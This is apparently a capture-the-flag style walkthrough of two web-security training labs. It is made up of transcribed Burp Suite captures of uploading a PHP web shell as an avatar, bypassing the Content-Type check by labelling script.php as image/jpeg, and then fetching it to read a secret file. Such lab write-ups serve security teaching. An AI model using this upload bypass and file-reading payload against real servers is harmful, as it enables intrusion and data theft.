

Lab: Remote code execution via web shell upload

Open the burpsuite and turn on the intercept in the proxy. Login with the given credentials and upload a picture. Now forward the uploaded request to repeater and modify the request as shown in second image. Also forward the get method request of the uploaded image and modify it for the script. Now send both the modified request and the secret will be displayed.

The screenshot shows the Burp Suite Community Edition v2023.3.3 interface. The 'HTTP history' tab is active, displaying a list of intercepted requests. The selected request is a POST to `/my-account/avatar` with a content type of `image/jpeg`. The 'Request' pane shows the raw HTTP request, and the 'Response' pane shows the server's response, which includes a `200 OK` status and a `Content-Type: text/html` header. The 'Inspector' pane on the right shows the request body parameters, including `session=Zr4j2rF0g...` and `file=avatarscript.php`.

The screenshot shows the Burp Suite Community Edition v2023.3.3 interface with the 'Repeater' tab active. The 'Send' button is highlighted, indicating that the request is ready to be sent. The 'Request' pane shows the raw HTTP request, which has been modified to include a `<?php echo file_get_contents('/home/carlos/secret'); >` line. The 'Response' pane shows the server's response, which includes a `200 OK` status and a `Content-Type: text/html` header. The 'Inspector' pane on the right shows the request body parameters, including `session=Zr4j2rF0g...` and `file=avatarscript.php`.

1 x2 x+SendCancel<>>

Target: https://0a39001e03e1f91a85e0f358005c0096.web-security-academy.netHTTP/2

Request

1 GET /files/avatars/script.php HTTP/2
2 Host: 0a39001e03e1f91a85e0f358005c0096.web-security-academy.net
3 Cookie: session=2r4J2rF0ghKXrNA1vJ0wKj1050C3b59
4 Sec-Ch-Ua: "Not-A-Brand";v="99", "Chromium";v="112"
5 Sec-Ch-Ua-Mobile: ?0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
7 Sec-Ch-Ua-Platform: "Linux"
8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Dest: image
12 Referer: https://0a39001e03e1f91a85e0f358005c0096.web-security-academy.net/my-account
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
15
16

Response

1 HTTP/2 200 OK
2 Date: Tue, 05 Mar 2024 12:39:08 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Content-Type: text/html; charset=UTF-8
5 X-Frame-Options: SAMEORIGIN
6 Content-Length: 32
7
8 xMFLFL3JWe1Jx8CJoJgA4D49AJd9GzMn

Inspector

Selection 32 (0x20)
Selected text
xMFLFL3JWe1Jx8CJoJgA4D49AJd9GzMn
Request attributes 2
Request query parameters 0
Request body parameters 0
Request cookies 1
Request headers 16
Response headers 5

0 matches0 matches

207 bytes | 316 millis

Lab: Web shell upload via Content-Type restriction bypass

Burp Suite Community Edition v2023.3.3 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions Learn Settings

Intercept HTTP history WebSockets history Proxy settings

Filter: Hiding CSS and general binary content

| # | Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension | Title | Comment | TLS | IP | Time | Listener port |
|-----|--------------------------------|--------|--|--------|--------|--------|--------|-----------|-----------|----------------------------|---------|-----|-----------------|------------------|---------------|
| 114 | https://0a6f00a04772d4f807b... | POST | /my-account/avatar | | ✓ | 200 | 329 | HTML | | | | ✓ | 79.125.84.16 | 21:19:41.5 Ma... | 8080 |
| 115 | https://0a6f00a04772d4f807b... | GET | /my-account | | | 200 | 4341 | HTML | | | | ✓ | 79.125.84.16 | 21:22:07.5 Ma... | 8080 |
| 118 | https://0a6f00a04772d4f807b... | GET | /files/avatars/Nitin.jpg | | | 200 | 32781 | JPEG | jpg | Web shell upload via Co... | | ✓ | 79.125.84.16 | 21:22:20.5 Ma... | 8080 |
| 119 | https://0a6f00a04772d4f807b... | GET | /resources/labheader/images/logoAc... | | | 200 | 8852 | XML | svg | | | ✓ | 79.125.84.16 | 21:22:22.5 Ma... | 8080 |
| 120 | https://0a6f00a04772d4f807b... | GET | /resources/labheader/images/ps-lab... | | | 200 | 942 | XML | svg | | | ✓ | 79.125.84.16 | 21:22:22.5 Ma... | 8080 |
| 121 | https://0a6f00a04772d4f807b... | GET | /academy/LabHeader | | ✓ | 400 | 130 | text | | | | ✓ | 79.125.84.16 | 21:22:22.5 Ma... | 8080 |
| 35 | https://adservice.google.com | GET | /adsid/gogoleja | | | 204 | 485 | HTML | | | | ✓ | 142.250.195.34 | 21:15:20.5 Ma... | 8080 |
| 31 | https://apis.google.com | GET | /js/abc-static/_js/r/gapi.gapi.en.s... | | | 200 | 122382 | script | | | | ✓ | 142.250.195.78 | 21:15:19.5 Ma... | 8080 |
| 45 | https://fonts.gstatic.com | GET | /s/robotov18/KFomCmgEu9Zf1Mu4... | | | 200 | 16159 | | woff2 | | | ✓ | 142.250.196.3 | 21:15:20.5 Ma... | 8080 |
| 46 | https://fonts.gstatic.com | GET | /s/googlesans/v58/4Ua_fENHsxjIGDu... | | | 200 | 23123 | | woff2 | | | ✓ | 142.250.196.3 | 21:15:20.5 Ma... | 8080 |
| 17 | https://google.com | GET | / | | | 301 | 1965 | | | 301 Moved | | ✓ | 142.250.182.142 | 21:15:17.5 Ma... | 8080 |
| 36 | https://oss.sooke.com | GET | /wddet/callout?end=19037058&oid... | | ✓ | 200 | 40504 | HTML | | | | ✓ | 142.250.195.238 | 21:15:19.5 Ma... | 8080 |

Request

Pretty Raw Hex

```
1 GET /files/avatars/Nitin.jpg HTTP/2
2 Host: 0a6f00a04772d4f807b2ba0f580d9.web-security-academy.net
3 Cookie: session=ozga18d4unkW2G1E6GJh8ORCC04w85
4 Sec-Ch-UA: "Not-A-Brand";v="99"; "Chromium";v="112"
5 Sec-Ch-UA-Mobile: ?0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.58 Safari/537.36
7 Sec-Ch-UA-Platform: "Linux"
8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Dest: image
12 Referer: https://0a6f00a04772d4f807b2ba0f580d9.web-security-academy.net/my-account
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
```

Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Date: Tue, 05 Mar 2024 15:52:20 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Last-Modified: Tue, 05 Mar 2024 15:49:45 GMT
5 Etag: "7f89-612ebca9585a"
6 Accept-Ranges: bytes
7 Content-Type: image/jpeg
8 X-Frame-Options: SAMEORIGIN
9 Content-Length: 32521
10
11 y0YaaEXiFmWp0I0I>|0ia(2aRedmi Note 8Xiaomiginko-user 10 QK01.200114.002 V12.0.2.0.QCOTINX
release-keys2021:08:11 21:36:56U70 W0" 0777MOD 20076 ID=DIDG0
=02020004C2300909422021:08:11 21:36:56H000909422021:08:11
21:36:56/"200842E1R08A11-6(23Redmi Note 8Xiaomiginko-user 10 QK01.200114.002
V12.0.2.0.QCOTINX release-keys2021:08:11 21:36:567yAJTFy8I(ICC_PROFIEntnrRGB XYZ acsp00-
descItzIz0gvZ0XyZ0ZTRC (gTRC (bTRC (wtpICprrU-nlucenUSKsRGBXYZ cCB0XYZ b0-D0XYZ
5 D0paraff03Y0
12 [XYZ 000-nlucenUS Google Inc.
2016y0C#W,J0,J),[ADGJK-qplHfVc"Dv-[GfG0E0]"uA1s2N1I?+x,y0C11,".NM0M-zhe-----
.....yAtpYAyA61A0aqz"3D4BR0;#WAS6hdyAyA11AQy070Wad"5AF80Ad0]0
0YB1=00D0I1Qn0I2A..0I7" 7,0YAKo"7B0"7a,N0Rf0Am0,0EYEA0I
13 Z:00D0"Kc0-DU00(cVY-D'E1kA
14 k40D-x000B0) x 00A0U0e1kAP0K04EUTnM2YI="061W0E0D\0b.v1d0W
09FD0mK0s0A0T0(8eh0-1S1"YH0RA0E0uSyef00 Y-
103bu0D,"0E0P,0PRedS0s0 0.Pa0,>vF*0W0eN0"0I0941A.N000nh0k0p0,e^+p0u uha
15 f00Dnah0m00 0T0(c+
16 0(=P0IH0
17 AP=0D0(00
18 0=00R000p0-9G0Y*20r0="00;Tc-b-0Ph0A?F0D
```

0 matches

Burp Suite Community Edition v2023.3.3 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions Learn Settings

Send Cancel < > +

Target: https://0a6f00a04772d4f807b2ba0f580d9.web-security-academy.net HTTP/2

Request

Pretty Raw Hex

```
1 POST /my-account/avatar HTTP/2
2 Host: 0a6f00a04772d4f807b2ba0f580d9.web-security-academy.net
3 Cookie: session=ozga18d4unkW2G1E6GJh8ORCC04w85
4 Content-Length: 460
5 Cache-Control: max-age=0
6 Sec-Ch-UA: "Not-A-Brand";v="99"; "Chromium";v="112"
7 Sec-Ch-UA-Mobile: ?0
8 Sec-Ch-UA-Platform: "Linux"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0a6f00a04772d4f807b2ba0f580d9.web-security-academy.net
11 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCpu9JdJpBhLE9FT
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.58 Safari/537.36
13 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,
application/signed-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0a6f00a04772d4f807b2ba0f580d9.web-security-academy.net/my-account?id=wiener
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
21
22 -----WebKitFormBoundaryCpu9JdJpBhLE9FT
23 Content-Disposition: form-data; name="avatar"; filename="script.php"
24 Content-Type: image/jpeg
25
26 <?php echo file_get_contents('/home/carlos/secret'); ?>
27 -----WebKitFormBoundaryCpu9JdJpBhLE9FT
28 Content-Disposition: form-data; name="user"
29
30 wiener
31 -----WebKitFormBoundaryCpu9JdJpBhLE9FT
32 Content-Disposition: form-data; name="csrf"
33
34 y3PszAXu18xq2R0YvFrUxtijjJuri
35 -----WebKitFormBoundaryCpu9JdJpBhLE9FT--
36
```

Response

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Date: Tue, 05 Mar 2024 15:57:58 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Vary: Accept-Encoding
5 Content-Type: text/html; charset=UTF-8
6 X-Frame-Options: SAMEORIGIN
7 Content-Length: 131
8
9 The file avatars/script.php has been uploaded.<p>
  <a href="/my-account" title="Return to previous page">
    < Back to My Account
  </a>
</p>
```

0 matches

1 x2 x+

SendCancel<>>

Target: https://0a6f00a00472d4f807bb2ba00f500d9.web-security-academy.netHTTP/2

Request

PrettyRawHex

1 GET /files/avatars/script.php HTTP/2
2 Host: 0a6f00a00472d4f807bb2ba00f500d9.web-security-academy.net
3 Cookie: session=ozga18d4unmw261Zf6LGjK80RCC04w0
4 Sec-Ch-Ua: "Not A Brand";v="99", "Chromium";v="112"
5 Sec-Ch-Ua-Mobile: ?0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
7 Sec-Ch-Ua-Platform: "Linux"
8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Dest: image
12 Referer: https://0a6f00a00472d4f807bb2ba00f500d9.web-security-academy.net/my-account
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
15
16

Response

PrettyRawHexRender

1 HTTP/2 200 OK
2 Date: Tue, 05 Mar 2024 15:58:24 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Content-Type: text/html; charset=UTF-8
5 X-Frame-Options: SAMEORIGIN
6 Content-Length: 32
7
8 aATTwB4nmehyU9a9zBokIghNchnL8DaoZ

Inspector

Selection32 (0x20)

Selected text
aATTwB4nmehyU9a9zBokIghNchnL8D
aoZ

Request attributes2
Request query parameters0
Request body parameters0
Request cookies1
Request headers16
Response headers5

0 matches

0 matches

Done207 bytes | 421 millis